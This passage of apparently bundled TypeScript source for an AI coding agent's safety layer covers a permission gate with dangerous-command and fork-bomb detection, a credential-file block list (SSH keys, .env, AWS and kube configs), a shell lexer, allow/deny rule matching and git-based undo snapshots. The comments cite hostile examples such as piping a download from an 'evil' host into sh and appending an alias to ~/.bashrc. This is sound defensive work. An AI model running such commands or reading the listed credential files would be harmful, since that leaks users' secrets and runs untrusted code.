/^\\/c$/i.test(arg));\n if (idx < 0) return false;\n const script = rest.slice(idx + 1).join(\" \");\n return script.length > 0 && commandLineIsDangerous(script, depth + 1);\n }\n default:\n return name.startsWith(\"mkfs\") && (name.length === 4 || /[.-]/.test(name.charAt(4)));\n }\n}\n\n// Dangerous-command analysis runs on a lexed token stream (quotes stripped,\n// $VAR/${VAR} normalized, $(...)/backtick/`sh -c` arguments recursed into),\n// so flag order, quoting and wrapper commands cannot smuggle a blocked\n// payload past it. yolo mode bypasses even this.\nexport function isDangerousCommand(command: string): boolean {\n if (FORK_BOMB.test(command)) return true;\n return commandLineIsDangerous(command, 0);\n}\n\nfunction getStringArg(args: unknown, key: string): string | undefined {\n if (typeof args === \"object\" && args !== null) {\n const value = (args as Record<string, unknown>)[key];\n if (typeof value === \"string\") {\n return value;\n }\n }\n return undefined;\n}\n\nfunction normalizeAbsolute(p: string, cwd: string): string {\n const abs = path.isAbsolute(p) ? path.normalize(p) : path.resolve(cwd, p);\n return abs.replace(/\\\\/g, \"/\").replace(/\\/+$/, \"\").toLowerCase();\n}\n\nfunction isOutsideCwd(p: string, cwd: string): boolean {\n const abs = normalizeAbsolute(p, cwd);\n const base = normalizeAbsolute(cwd, cwd);\n return abs !== base && !abs.startsWith(`${base}/`);\n}\n\n// Resolves symlinks for a target: the file itself when it exists, otherwise\n// the nearest existing ancestor with the missing tail re-attached. Returns\n// null when nothing on the path can be resolved.\nfunction resolveRealPath(p: string, cwd: string): string | null {\n let current = path.isAbsolute(p) ? path.normalize(p) : path.resolve(cwd, p);\n const missing: string[] = [];\n for (;;) {\n try {\n return path.join(fs.realpathSync(current), ...missing.reverse());\n } catch {\n const parent = path.dirname(current);\n if (parent === current) return null;\n missing.push(path.basename(current));\n current = parent;\n }\n }\n}\n\n// Outside-cwd check that sees through symlinks: a link inside cwd pointing\n// outside must be treated as outside — for write tools, and equally for read\n// tools, which otherwise leak outside files (e.g. a repo symlink pointing at\n// ~/.ssh) in auto mode. Falls back to the plain string check when the path\n// (or cwd) cannot be resolved.\nfunction isOutsideResolved(p: string, cwd: string): boolean {\n const resolved = resolveRealPath(p, cwd);\n if (resolved === null) return isOutsideCwd(p, cwd);\n let realCwd: string;\n try {\n realCwd = fs.realpathSync(cwd);\n } catch {\n return isOutsideCwd(p, cwd);\n }\n return isOutsideCwd(resolved, realCwd);\n}\n\nexport function checkPermission(\n mode: PermissionMode,\n req: PermissionRequest,\n ctx: PermissionContext,\n allowRules: readonly string[] = [],\n denyRules: readonly string[] = [],\n): PermissionDecision {\n // yolo bypasses every check, including the hard safety rules below.\n if (mode === \"yolo\") {\n return \"allow\";\n }\n\n const command = getStringArg(req.args, \"command\");\n const filePath = getStringArg(req.args, \"path\");\n\n if (req.toolName === \"bash\" && command !== undefined && isDangerousCommand(command)) {\n return \"deny\";\n }\n\n if (FILE_TOOLS.has(req.toolName) && filePath !== undefined) {\n const isWriteTool = req.toolName === \"write_file\" || req.toolName === \"edit_file\";\n if (isWriteTool && isSensitivePath(filePath)) {\n return \"deny\";\n }\n if (isOutsideResolved(filePath, ctx.cwd)) {\n if (mode === \"ask\" && req.level === \"read\") {\n return \"ask\";\n }\n return \"deny\";\n }\n }\n\n if (isDeniedByRules(denyRules, req)) {\n return \"deny\";\n }\n\n if (mode === \"auto\") {\n return \"allow\";\n }\n if (mode === \"readonly\") {\n return req.level === \"read\" ? \"allow\" : \"deny\";\n }\n if (mode === \"plan\") {\n return req.level === \"read\" ? \"allow\" : \"deny\";\n }\n if (isAllowedByRules(allowRules, req)) {\n return \"allow\";\n }\n return req.level === \"read\" ? \"allow\" : \"ask\";\n}\n\nexport function describeDecision(decision: PermissionDecision): string {\n switch (decision) {\n case \"allow\":\n return \"允许执行该操作\";\n case \"deny\":\n return \"拒绝执行:违反权限模式、硬性安全规则或配置的拒绝规则\";\n case \"ask\":\n return \"需要用户确认后才能执行\";\n }\n}\n","const SENSITIVE_BASENAMES = new Set([\n \".env\",\n \"id_rsa\",\n \"id_dsa\",\n \"id_ecdsa\",\n \"id_ed25519\",\n \".npmrc\",\n \".netrc\",\n \".pgpass\",\n]);\n\nconst SENSITIVE_SUFFIXES = [\".pem\", \".key\", \".p12\", \".pfx\"];\n\nconst SENSITIVE_ENV_EXEMPTIONS = new Set([\".env.example\", \".env.sample\", \".env.template\"]);\n\nfunction pathSegments(p: string): string[] {\n return p\n .replace(/\\\\/g, \"/\")\n .split(\"/\")\n .filter(Boolean)\n .map((s) => s.toLowerCase());\n}\n\n// Single source of truth for \"this file likely holds secrets, don't let the\n// model read it into context or overwrite it\". Matches on the basename, with\n// two directory-aware rules for well-known credential locations. Templates\n// and example env files are explicitly safe.\nexport function isSensitivePath(p: string): boolean {\n const segments = pathSegments(p);\n const base = segments[segments.length - 1] ?? \"\";\n if (SENSITIVE_ENV_EXEMPTIONS.has(base)) {\n return false;\n }\n if (base === \".env\" || base.startsWith(\".env.\")) {\n return true;\n }\n if (SENSITIVE_BASENAMES.has(base)) {\n return true;\n }\n if (SENSITIVE_SUFFIXES.some((suffix) => base.endsWith(suffix))) {\n return true;\n }\n const dir = segments[segments.length - 2] ?? \"\";\n if (dir === \".aws\" && base === \"credentials\") {\n return true;\n }\n if (dir === \".kube\" && base === \"config\") {\n return true;\n }\n return false;\n}\n","// Shell command lexer shared by the permission gate (dangerous-command\n// analysis) and allow/deny rule matching. Not a full POSIX grammar — just\n// enough structure that quoting, variable expansion and command/process\n// substitution can no longer hide what a command line actually runs.\n//\n// Word tokens have their quotes stripped and `$VAR` / `${VAR}` expansions\n// normalized to `$VAR` so callers can recognize well-known names ($HOME)\n// without caring about the spelling. The lexer never fails: unterminated\n// quotes or substitutions simply consume the rest of the input.\n\nexport type ShellOperator =\n | \"&&\"\n | \"||\"\n | \"&\"\n | \"|\"\n | \";\"\n | \"\\n\"\n | \"(\"\n | \")\"\n | \">\"\n | \">>\"\n | \"<\"\n | \">&\"\n | \"<&\";\n\nexport type ShellToken =\n | { kind: \"word\"; text: string }\n | { kind: \"op\"; op: ShellOperator }\n // `$(...)` / backticks (process:false) and `>(...)` / `<(...)`\n // (process:true) carry their inner command line for recursive analysis.\n | { kind: \"subst\"; inner: string; process: boolean };\n\nexport const REDIRECT_OPS: ReadonlySet<ShellOperator> = new Set([\">\", \">>\", \"<\", \">&\", \"<&\"]);\n\n// Redirects that touch a file (fd duplication like 2>&1 is harmless).\nexport const FILE_REDIRECT_OPS: ReadonlySet<ShellOperator> = new Set([\">\", \">>\", \"<\"]);\n\nconst SEGMENT_SEPARATORS: ReadonlySet<ShellOperator> = new Set([\n \"&&\",\n \"||\",\n \"&\",\n \"|\",\n \";\",\n \"\\n\",\n \"(\",\n \")\",\n]);\n\nexport function lexShell(command: string): ShellToken[] {\n const tokens: ShellToken[] = [];\n let word = \"\";\n let doubleQuoted = false;\n let i = 0;\n\n const flush = () => {\n if (word.length > 0) {\n tokens.push({ kind: \"word\", text: word });\n word = \"\";\n }\n };\n\n // Index just past the \")\" closing the \"(\" at `from`; -1 when unterminated.\n // Skips over quoted strings and nested parentheses.\n const findCloseParen = (from: number): number => {\n let depth = 0;\n let j = from;\n while (j < command.length) {\n const c = command[j];\n if (c === \"\\\\\") {\n j += 2;\n continue;\n }\n if (c === \"'\" || c === '\"') {\n const close = command.indexOf(c, j + 1);\n j = close === -1 ? command.length : close + 1;\n continue;\n }\n if (c === \"(\") depth += 1;\n if (c === \")\") {\n depth -= 1;\n if (depth === 0) return j + 1;\n }\n j += 1;\n }\n return -1;\n };\n\n const pushSubstitution = (openParen: number, process: boolean): number => {\n const close = findCloseParen(openParen);\n const innerEnd = close === -1 ? command.length : close - 1;\n flush();\n tokens.push({ kind: \"subst\", inner: command.slice(openParen + 1, innerEnd), process });\n return close === -1 ? command.length : close;\n };\n\n const lexDollarOrBacktick = (pos: number): number => {\n const c = command[pos];\n if (c === \"`\") {\n const close = command.indexOf(\"`\", pos + 1);\n const end = close === -1 ? command.length : close;\n flush();\n tokens.push({ kind: \"subst\", inner: command.slice(pos + 1, end), process: false });\n return close === -1 ? command.length : close + 1;\n }\n const next = command[pos + 1];\n if (next === \"(\") {\n return pushSubstitution(pos + 1, false);\n }\n if (next === \"{\") {\n const close = command.indexOf(\"}\", pos + 2);\n if (close !== -1) {\n word += `$${command.slice(pos + 2, close)}`;\n return close + 1;\n }\n word += \"$\";\n return pos + 1;\n }\n if (next !== undefined && /[A-Za-z_]/.test(next)) {\n let end = pos + 1;\n while (end < command.length && /[A-Za-z0-9_]/.test(command[end] ?? \"\")) {\n end += 1;\n }\n word += command.slice(pos, end);\n return end;\n }\n word += \"$\";\n return pos + 1;\n };\n\n while (i < command.length) {\n const c = command[i] as string;\n if (doubleQuoted) {\n if (c === '\"') {\n doubleQuoted = false;\n i += 1;\n } else if (c === \"\\\\\") {\n if (i + 1 < command.length) {\n word += command[i + 1];\n i += 2;\n } else {\n word += \"\\\\\";\n i += 1;\n }\n } else if (c === \"$\" || c === \"`\") {\n i = lexDollarOrBacktick(i);\n } else {\n word += c;\n i += 1;\n }\n continue;\n }\n if (c === \"\\\\\") {\n if (i + 1 < command.length) {\n word += command[i + 1];\n i += 2;\n } else {\n word += \"\\\\\";\n i += 1;\n }\n continue;\n }\n if (c === \"'\") {\n const close = command.indexOf(\"'\", i + 1);\n const end = close === -1 ? command.length : close;\n word += command.slice(i + 1, end);\n i = close === -1 ? command.length : close + 1;\n continue;\n }\n if (c === '\"') {\n doubleQuoted = true;\n i += 1;\n continue;\n }\n if (c === \"$\" || c === \"`\") {\n i = lexDollarOrBacktick(i);\n continue;\n }\n if (c === \" \" || c === \"\\t\" || c === \"\\r\") {\n flush();\n i += 1;\n continue;\n }\n if (c === \"\\n\") {\n flush();\n tokens.push({ kind: \"op\", op: \"\\n\" });\n i += 1;\n continue;\n }\n if (c === \"&\" || c === \"|\") {\n flush();\n if (command[i + 1] === c) {\n tokens.push({ kind: \"op\", op: c === \"&\" ? \"&&\" : \"||\" });\n i += 2;\n } else {\n tokens.push({ kind: \"op\", op: c });\n i += 1;\n }\n continue;\n }\n if (c === \";\" || c === \"(\" || c === \")\") {\n flush();\n tokens.push({ kind: \"op\", op: c });\n i += 1;\n continue;\n }\n if (c === \">\" || c === \"<\") {\n flush();\n const next = command[i + 1];\n if (next === \"(\") {\n i = pushSubstitution(i + 1, true);\n continue;\n }\n if (c === \">\" && next === \">\") {\n tokens.push({ kind: \"op\", op: \">>\" });\n i += 2;\n } else if (next === \"&\") {\n tokens.push({ kind: \"op\", op: c === \">\" ? \">&\" : \"<&\" });\n i += 2;\n } else {\n tokens.push({ kind: \"op\", op: c });\n i += 1;\n }\n continue;\n }\n word += c;\n i += 1;\n }\n flush();\n return tokens;\n}\n\n// Splits a token stream at command boundaries (&&, ||, &, |, ;, newlines and\n// subshell parens); empty segments are dropped.\nexport function splitShellSegments(tokens: ShellToken[]): ShellToken[][] {\n const segments: ShellToken[][] = [];\n let current: ShellToken[] = [];\n for (const token of tokens) {\n if (token.kind === \"op\" && SEGMENT_SEPARATORS.has(token.op)) {\n if (current.length > 0) {\n segments.push(current);\n current = [];\n }\n continue;\n }\n current.push(token);\n }\n if (current.length > 0) {\n segments.push(current);\n }\n return segments;\n}\n\n// Extracts the plain words of a segment, dropping redirection operators and\n// their targets (collected in `redirectTargets`). Substitution tokens are\n// skipped — callers analyze them separately.\nexport function segmentWords(segment: ShellToken[]): {\n words: string[];\n redirectTargets: string[];\n} {\n const words: string[] = [];\n const redirectTargets: string[] = [];\n for (let k = 0; k < segment.length; k += 1) {\n const token = segment[k] as ShellToken;\n if (token.kind === \"op\" && REDIRECT_OPS.has(token.op)) {\n const target = segment[k + 1];\n if (target?.kind === \"word\") {\n redirectTargets.push(target.text);\n k += 1;\n }\n continue;\n }\n if (token.kind === \"word\") {\n words.push(token.text);\n }\n }\n return { words, redirectTargets };\n}\n\n// Re-renders a segment for rule matching: words and operators joined with\n// single spaces (quotes and expansions were already normalized by the lexer).\nexport function renderSegment(segment: ShellToken[]): string {\n return segment\n .map((token) => {\n if (token.kind === \"word\") return token.text;\n if (token.kind === \"op\") return token.op;\n return token.process ? \">(…)\" : \"$(…)\";\n })\n .join(\" \");\n}\n","import { FILE_REDIRECT_OPS, lexShell, renderSegment, splitShellSegments } from \"./shell\";\nimport type { PermissionRequest } from \"./types\";\n\nexport interface AllowRule {\n toolName: string;\n pattern?: string;\n}\n\nexport function parseAllowRule(rule: string): AllowRule | null {\n const match = /^([\\w-]+)(?:\\((.*)\\))?$/.exec(rule.trim());\n if (!match) return null;\n return { toolName: match[1] as string, pattern: match[2] };\n}\n\nfunction globMatch(pattern: string, value: string): boolean {\n const escaped = pattern.replace(/[.+?^${}()|[\\]\\\\]/g, \"\\\\$&\").replace(/\\*/g, \".*\");\n return new RegExp(`^${escaped}$`).test(value);\n}\n\nfunction requestTarget(req: PermissionRequest): string | undefined {\n if (typeof req.args !== \"object\" || req.args === null) return undefined;\n const args = req.args as Record<string, unknown>;\n const key = req.toolName === \"bash\" ? \"command\" : \"path\";\n const value = args[key];\n return typeof value === \"string\" ? value : undefined;\n}\n\nexport function matchAllowRule(rule: AllowRule, req: PermissionRequest): boolean {\n if (rule.toolName !== req.toolName) return false;\n if (rule.pattern === undefined) return true;\n const target = requestTarget(req);\n return target !== undefined && globMatch(rule.pattern, target);\n}\n\n// Splits a bash command into its chained segments (\"a && b | c; d\" →\n// [\"a\", \"b\", \"c\", \"d\"]) using the shell lexer, so separators inside quotes\n// don't split and backgrounded commands (\"a & b\") split like any other chain.\n// Returns null — no segment can be trusted — when the command embeds a\n// command substitution (\"$(...)\" or backticks, which hide an arbitrary\n// command in a benign one) or any segment writes/reads a file through an\n// unquoted redirection (\">\", \">>\", \"<\") or process substitution (\">(...)\",\n// \"<(...)\"): `echo 'alias x=...' >> ~/.bashrc` must not sail through on\n// bash(echo *). Fd duplication (2>&1) stays allow-eligible.\nfunction splitCommandChain(command: string): string[] | null {\n if (command.includes(\"$(\") || command.includes(\"`\")) return null;\n const tokens = lexShell(command);\n if (tokens.some((token) => token.kind === \"subst\")) return null;\n const segments = splitShellSegments(tokens);\n for (const segment of segments) {\n if (segment.some((token) => token.kind === \"op\" && FILE_REDIRECT_OPS.has(token.op))) {\n return null;\n }\n }\n return segments.map(renderSegment).filter((segment) => segment.length > 0);\n}\n\nfunction withCommand(req: PermissionRequest, command: string): PermissionRequest {\n return {\n ...req,\n args: { ...((req.args ?? {}) as Record<string, unknown>), command },\n };\n}\n\n// Allow rules apply per chain segment: \"bash(git *)\" must not wave through\n// \"git status && curl evil | sh\". Every segment has to match some rule, and a\n// command with a substitution or a file redirection is never auto-allowed.\nexport function isAllowedByRules(rules: readonly string[], req: PermissionRequest): boolean {\n if (req.toolName !== \"bash\") return matchesAnyRule(rules, req);\n const command = requestTarget(req);\n if (command === undefined) return matchesAnyRule(rules, req);\n const segments = splitCommandChain(command);\n if (segments === null) return false;\n if (segments.length === 0) return matchesAnyRule(rules, req);\n return segments.every((segment) => matchesAnyRule(rules, withCommand(req, segment)));\n}\n\n// Deny rules stay maximally suspicious: any single matching segment denies,\n// and a command that cannot be segmented falls back to whole-command matching.\nexport function isDeniedByRules(rules: readonly string[], req: PermissionRequest): boolean {\n if (req.toolName !== \"bash\") return matchesAnyRule(rules, req);\n const command = requestTarget(req);\n if (command === undefined) return matchesAnyRule(rules, req);\n const segments = splitCommandChain(command);\n if (segments === null || segments.length === 0) return matchesAnyRule(rules, req);\n return segments.some((segment) => matchesAnyRule(rules, withCommand(req, segment)));\n}\n\nfunction matchesAnyRule(rules: readonly string[], req: PermissionRequest): boolean {\n return rules.some((raw) => {\n const rule = parseAllowRule(raw);\n return rule !== null && matchAllowRule(rule, req);\n });\n}\n\nexport function buildAllowRule(req: PermissionRequest): string {\n const target = requestTarget(req);\n return target !== undefined ? `${req.toolName}(${target})` : req.toolName;\n}\n","import { type LanguageModel, generateText } from \"ai\";\nimport type { SessionStore } from \"./store\";\n\nconst TITLE_MAX_CHARS = 50;\nconst TITLE_INPUT_MAX_CHARS = 1000;\nconst TITLE_MAX_TOKENS = 20;\nconst TITLE_TIMEOUT_MS = 15_000;\n\nconst TITLE_SYSTEM_PROMPT = [\n \"You write short titles for conversations.\",\n \"Summarize the user's first message into a single concise title:\",\n \"- at most 50 characters\",\n \"- no surrounding quotes, no trailing punctuation\",\n \"- same language as the user's message\",\n \"Output only the title, nothing else.\",\n].join(\"\\n\");\n\nfunction sanitizeTitle(raw: string): string {\n let title = raw.trim().split(\"\\n\")[0]?.trim() ?? \"\";\n let previous: string;\n do {\n previous = title;\n title = title\n .replace(/^[\"'“”‘’「」『』\\s]+|[\"'“”‘’「」『』\\s]+$/g, \"\")\n .replace(/[。..!!??…::;;,,、\\s]+$/u, \"\");\n } while (title !== previous);\n return title.slice(0, TITLE_MAX_CHARS).trim();\n}\n\nexport async function generateSessionTitle(\n userText: string,\n model: LanguageModel,\n): Promise<string> {\n const { text } = await generateText({\n model,\n system: TITLE_SYSTEM_PROMPT,\n prompt: userText.slice(0, TITLE_INPUT_MAX_CHARS),\n maxTokens: TITLE_MAX_TOKENS,\n abortSignal: AbortSignal.timeout(TITLE_TIMEOUT_MS),\n });\n return sanitizeTitle(text);\n}\n\n// Fire-and-forget title generation: never throws, never blocks the caller,\n// and skips sessions that already have a title. An unfinished request is\n// bounded by TITLE_TIMEOUT_MS and may simply be dropped when the process\n// exits — the title just stays empty.\nexport function scheduleSessionTitle(\n store: SessionStore,\n userText: string,\n model: LanguageModel,\n): void {\n void (async () => {\n const meta = await store.meta();\n if (meta.title) return;\n const title = await generateSessionTitle(userText, model);\n if (!title) return;\n const current = await store.meta();\n if (current.title) return;\n await store.setTitle(title);\n })().catch(() => {});\n}\n","import { execFile } from \"node:child_process\";\nimport { existsSync } from \"node:fs\";\nimport { mkdir, readdir, rm, writeFile } from \"node:fs/promises\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { gitTreesDir } from \"../config/paths\";\nimport { isSensitivePath } from \"../core/sensitive\";\n\nconst GIT_TIMEOUT_MS = 10_000;\n// gc repacks the object store and legitimately takes longer than the budget\n// every other git invocation gets; it runs rarely, so it can afford to wait.\nconst GC_TIMEOUT_MS = 60_000;\nconst GIT_MAX_BUFFER = 8 * 1024 * 1024;\n// `git gc --auto` runs after this many successful tree captures per repo\n// (each capture adds a tree plus blobs, and nothing else ever prunes them).\nconst GC_INTERVAL = 50;\n// The agent loop calls trackTree at the start of every turn; without a\n// negative cache a directory whose tracking fails (huge tree hitting the git\n// timeout, unreadable repo) would burn that timeout on every single turn.\nconst TRACK_FAILURE_TTL_MS = 5 * 60 * 1000;\n\n// Likely-secret files that must never enter the internal snapshot repos,\n// pinned into each repo's info/exclude so `git add -A` skips them even in\n// projects with no .gitignore and `git clean -fd` on restore leaves them\n// alone. Mirrors isSensitivePath (src/core/sensitive.ts), including the\n// template exemptions.\nconst SENSITIVE_EXCLUDE_PATTERNS = [\n \".env\",\n \".env.*\",\n \"!.env.example\",\n \"!.env.sample\",\n \"!.env.template\",\n \"id_rsa\",\n \"id_dsa\",\n \"id_ecdsa\",\n \"id_ed25519\",\n \".npmrc\",\n \".netrc\",\n \".pgpass\",\n \"*.pem\",\n \"*.key\",\n \"*.p12\",\n \"*.pfx\",\n \"**/.aws/credentials\",\n \"**/.kube/config\",\n];\n\n// Every git invocation goes through here: array arguments (never a shell), a\n// per-call timeout, and any failure — git missing, repo corrupt, timeout —\n// resolves null so the snapshot feature degrades silently instead of breaking\n// the agent loop.\nfunction runGit(args: string[], timeoutMs = GIT_TIMEOUT_MS): Promise<string | null> {\n return new Promise((resolve) => {\n execFile(\n \"git\",\n args,\n { timeout: timeoutMs, maxBuffer: GIT_MAX_BUFFER, encoding: \"utf8\" },\n (error, stdout) => {\n resolve(error ? null : stdout.trim());\n },\n );\n });\n}\n\nlet gitAvailable: boolean | null = null;\n\n// Expiry timestamps (Date.now) of the per-directory failure negative cache.\nconst trackFailureUntil = new Map<string, number>();\n// Successful captures per repo since process start, driving the periodic gc.\nconst trackCounts = new Map<string, number>();\n// Repos whose index was already scrubbed of excluded entries this process.\nconst scrubbedRepos = new Set<string>();\n\nexport async function isGitAvailable(): Promise<boolean> {\n if (gitAvailable === null) {\n gitAvailable = (await runGit([\"--version\"])) !== null;\n }\n return gitAvailable;\n}\n\n// Test hook: drop the cached availability probe so a mocked execFile takes\n// effect without reloading the module.\nexport function resetGitTreeAvailability(): void {\n gitAvailable = null;\n}\n\n// Test hook: drop every piece of cached state (availability probe, failure\n// negative cache, gc counters, scrub bookkeeping).\nexport function resetGitTreeCaches(): void {\n gitAvailable = null;\n trackFailureUntil.clear();\n trackCounts.clear();\n scrubbedRepos.clear();\n}\n\n// One internal bare repo per project directory, named by the resolved path so\n// two directories never share a tree store.\nexport function treeRepoDir(cwd: string): string {\n const key = Buffer.from(path.resolve(cwd), \"utf8\").toString(\"base64url\");\n return path.join(gitTreesDir(), key);\n}\n\n// Removes a project's internal snapshot repo. Called when the project's last\n// session is cleared: the captured trees only make sense as /undo//redo\n// targets for session turns, and with no session left they are unreachable\n// disk usage. In-memory bookkeeping goes too, or a later session in the same\n// process would trust a failure cache / gc counter for a repo that no longer\n// exists.\nexport async function removeTreeRepo(cwd: string): Promise<void> {\n const dir = treeRepoDir(cwd);\n trackFailureUntil.delete(path.resolve(cwd));\n trackCounts.delete(dir);\n scrubbedRepos.delete(dir);\n await rm(dir, { recursive: true, force: true }).catch(() => {});\n}\n\n// Deletes every tree repo whose owning project has no surviving session.\n// remainingCwds are the cwd values of the sessions still on disk; repos are\n// keyed by resolved path (see treeRepoDir), so a basename compare keeps\n// exactly those.\nexport async function pruneTreeReposExcept(remainingCwds: Iterable<string>): Promise<void> {\n let entries: string[];\n try {\n entries = await readdir(gitTreesDir());\n } catch {\n return;\n }\n const keep = new Set<string>();\n for (const cwd of remainingCwds) keep.add(path.basename(treeRepoDir(cwd)));\n await Promise.all(\n entries\n .filter((entry) => !keep.has(entry))\n .map((entry) =>\n rm(path.join(gitTreesDir(), entry), { recursive: true, force: true }).catch(() => {}),\n ),\n );\n}\n\n// Snapshotting the home directory or a filesystem root would track an entire\n// machine — refuse rather than let a stray session there index everything.\nfunction isGuardedDir(cwd: string): boolean {\n const resolved = path.resolve(cwd);\n const home = path.resolve(os.homedir());\n const same = (a: string, b: string) =>\n process.platform === \"win32\" ? a.toLowerCase() === b.toLowerCase() : a === b;\n return same(resolved, home) || same(resolved, path.parse(resolved).root);\n}\n\nasync function ensureTreeRepo(cwd: string): Promise<string | null> {\n const dir = treeRepoDir(cwd);\n try {\n // Owner-only like the session directories: tree objects hold file\n // contents the user never committed anywhere else.\n await mkdir(dir, { recursive: true, mode: 0o700 });\n if (!existsSync(path.join(dir, \"HEAD\"))) {\n const out = await runGit([\"init\", \"--bare\", dir]);\n if (out === null) return null;\n }\n // Rewritten on every call: repos created before the exclusion existed\n // pick it up here without any migration step.\n await mkdir(path.join(dir, \"info\"), { recursive: true });\n await writeFile(\n path.join(dir, \"info\", \"exclude\"),\n `${SENSITIVE_EXCLUDE_PATTERNS.join(\"\\n\")}\\n`,\n \"utf8\",\n );\n } catch {\n return null;\n }\n return dir;\n}\n\nfunction repoArgs(dir: string, cwd: string): string[] {\n return [`--git-dir=${dir}`, `--work-tree=${cwd}`];\n}\n\n// Drops index entries that match the exclude rules. Ignore patterns only keep\n// untracked files out of `git add`; a path already in the index — tracked by\n// a pre-exclusion star, or put back by read-tree of an old tree — stays until\n// explicitly removed, so both trackTree and restoreTree scrub it.\nasync function untrackExcluded(dir: string, cwd: string): Promise<boolean> {\n const base = repoArgs(dir, cwd);\n const listed = await runGit([...base, \"ls-files\", \"-z\", \"-c\", \"-i\", \"--exclude-standard\"]);\n if (listed === null) return false;\n const files = listed.split(\"\\0\").filter(Boolean);\n if (files.length === 0) return true;\n const removed = await runGit([\n ...base,\n \"rm\",\n \"--cached\",\n \"--ignore-unmatch\",\n \"-q\",\n \"--\",\n ...files.map((file) => `:(literal)${file}`),\n ]);\n return removed !== null;\n}\n\n// Captures the whole working tree (any change — write_file, edit_file, bash)\n// as a git tree object and returns its hash. The work tree's own .git is\n// skipped by git automatically; ignored files (node_modules) and excluded\n// likely-secret files never enter the tree, which is exactly what the restore\n// side relies on. A recent failure makes further attempts no-ops until\n// TRACK_FAILURE_TTL_MS has passed.\nexport async function trackTree(cwd: string): Promise<string | null> {\n if (isGuardedDir(cwd)) return null;\n const key = path.resolve(cwd);\n const failedUntil = trackFailureUntil.get(key);\n if (failedUntil !== undefined && Date.now() < failedUntil) return null;\n const tree = await trackTreeUncached(cwd);\n if (tree === null) {\n trackFailureUntil.set(key, Date.now() + TRACK_FAILURE_TTL_MS);\n return null;\n }\n trackFailureUntil.delete(key);\n return tree;\n}\n\nasync function trackTreeUncached(cwd: string): Promise<string | null> {\n if (!(await isGitAvailable())) return null;\n const dir = await ensureTreeRepo(cwd);\n if (!dir) return null;\n const base = repoArgs(dir, cwd);\n if (!scrubbedRepos.has(dir)) {\n if (!(await untrackExcluded(dir, cwd))) return null;\n scrubbedRepos.add(dir);\n }\n if ((await runGit([...base, \"add\", \"-A\"])) === null) return null;\n const tree = await runGit([...base, \"write-tree\"]);\n if (tree === null) return null;\n const count = (trackCounts.get(dir) ?? 0) + 1;\n trackCounts.set(dir, count);\n if (count % GC_INTERVAL === 0) {\n // Pure housekeeping: the result is ignored so a gc failure never fails\n // the turn, matching the module's silent-degradation style.\n await runGit([`--git-dir=${dir}`, \"gc\", \"--auto\"], GC_TIMEOUT_MS);\n }\n return tree;\n}\n\n// Restores the working tree to a captured tree: index reset to the tree,\n// every index file checked out over the work tree, then untracked\n// (post-snapshot) files cleaned. `clean` keeps ignored files, so dependencies\n// and excluded secrets survive. checkout-index -a only writes paths present\n// in the index, so scrubbing excluded entries after read-tree guarantees a\n// tree captured before the exclusion existed still cannot overwrite the\n// user's current .env (or delete it via clean, which also skips it).\nexport async function restoreTree(cwd: string, hash: string): Promise<boolean> {\n if (isGuardedDir(cwd)) return false;\n if (!(await isGitAvailable())) return false;\n const dir = await ensureTreeRepo(cwd);\n if (!dir) return false;\n const base = repoArgs(dir, cwd);\n if ((await runGit([...base, \"read-tree\", hash])) === null) return false;\n if (!(await untrackExcluded(dir, cwd))) return false;\n if ((await runGit([...base, \"checkout-index\", \"-f\", \"-a\"])) === null) return false;\n if ((await runGit([...base, \"clean\", \"-fd\"])) === null) return false;\n return true;\n}\n\n// Read-only list of files restoring a tree would touch: tracked paths that\n// differ from the tree, plus untracked (non-ignored) paths the clean step\n// would remove. Backs the /undo and /redo previews.\nexport async function diffTreeNames(cwd: string, hash: string): Promise<string[] | null> {\n if (!(await isGitAvailable())) return null;\n const dir = treeRepoDir(cwd);\n if (!existsSync(path.join(dir, \"HEAD\"))) return null;\n const base = repoArgs(dir, cwd);\n const changed = await runGit([...base, \"diff\", \"--name-only\", hash]);\n const untracked = await runGit([...base, \"ls-files\", \"--others\", \"--exclude-standard\"]);\n if (changed === null || untracked === null) return null;\n const names = new Set<string>();\n for (const line of [...changed.split(\"\\n\"), ...untracked.split(\"\\n\")]) {\n // Restore never touches excluded likely-secret paths (trees captured\n // before the exclusion may still list them); keep the preview honest.\n if (line !== \"\" && !isSensitivePath(line)) names.add(line);\n }\n return [...names];\n}\n","import { randomUUID } from \"node:crypto\";\nimport { mkdir, readFile, rm, stat, writeFile } from \"node:fs/promises\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport type { SnapshotContext } from \"../types\";\n\nexport type SnapshotOwner = \"root\" | \"subagent\";\n\nexport interface FileSnapshot {\n // Checkpoint id, monotonically increasing per process (seeded from the\n // resumed session's records, so ids stay unique across resume). Assigned\n // when the snapshot is captured; failed tool calls leave gaps, which is fine.\n id: number;\n path: string;\n existed: boolean;\n // Pre-change content. Held in memory only between captureSnapshot and\n // pushSnapshot (which spills it to disk); afterwards null and read lazily\n // from contentFile, so a full stack of large files costs no RAM.\n content: string | null;\n // Set when the pre-change content exceeded MAX_SNAPSHOT_CONTENT_BYTES: only\n // metadata is kept (no content, no persisted content file) and revert()\n // skips the file instead of restoring it.\n contentTooLarge?: boolean;\n // Lazy source for the old content once it left memory: the per-process\n // spill file (pushed snapshots) or the persisted session checkpoint content\n // file (snapshots hydrated from a resumed session).\n contentFile?: string;\n toolName: string;\n timestamp: number;\n // Seq of the conversation turn that produced this snapshot (0 = no turn\n // context, e.g. direct tool use in tests). Monotonically increasing per\n // process, so a turn's snapshots can be reverted without touching older ones.\n turn: number;\n // Index of the user message that started the turn, used by /rewind to\n // retract the conversation to the same point. -1 = unknown (no turn\n // context, or the change came from a subagent turn).\n messageIndex: number;\n // Who made the change. Root changes are undoable per turn; subagent changes\n // span arbitrary parent turns, so turn-scoped listings and reverts exclude\n // them unless includeSubagent is passed. Missing means root (checkpoints\n // persisted before this field stay undoable).\n owner?: SnapshotOwner;\n}\n\n// Persistence callbacks, bound by the agent loop when a session store is\n// attached. Every snapshot that enters or leaves the in-memory stack is\n// mirrored to the session directory so /rewind works after resume.\nexport interface SnapshotHooks {\n onPush?(snapshot: FileSnapshot): void | Promise<void>;\n onRemove?(ids: number[]): void | Promise<void>;\n}\n\nconst MAX_SNAPSHOTS = 50;\nexport const MAX_SNAPSHOT_CONTENT_BYTES = 5 * 1024 * 1024;\n\nconst stack: FileSnapshot[] = [];\nlet activeTurn = 0;\nlet activeTurnMessageIndex = -1;\nlet checkpointSeq = 0;\nlet hooks: SnapshotHooks | null = null;\n\n// Spilled snapshot contents live in a per-process temp directory (unique per\n// module instance so parallel test workers never collide) and are deleted\n// when their snapshot leaves the stack. Spilling 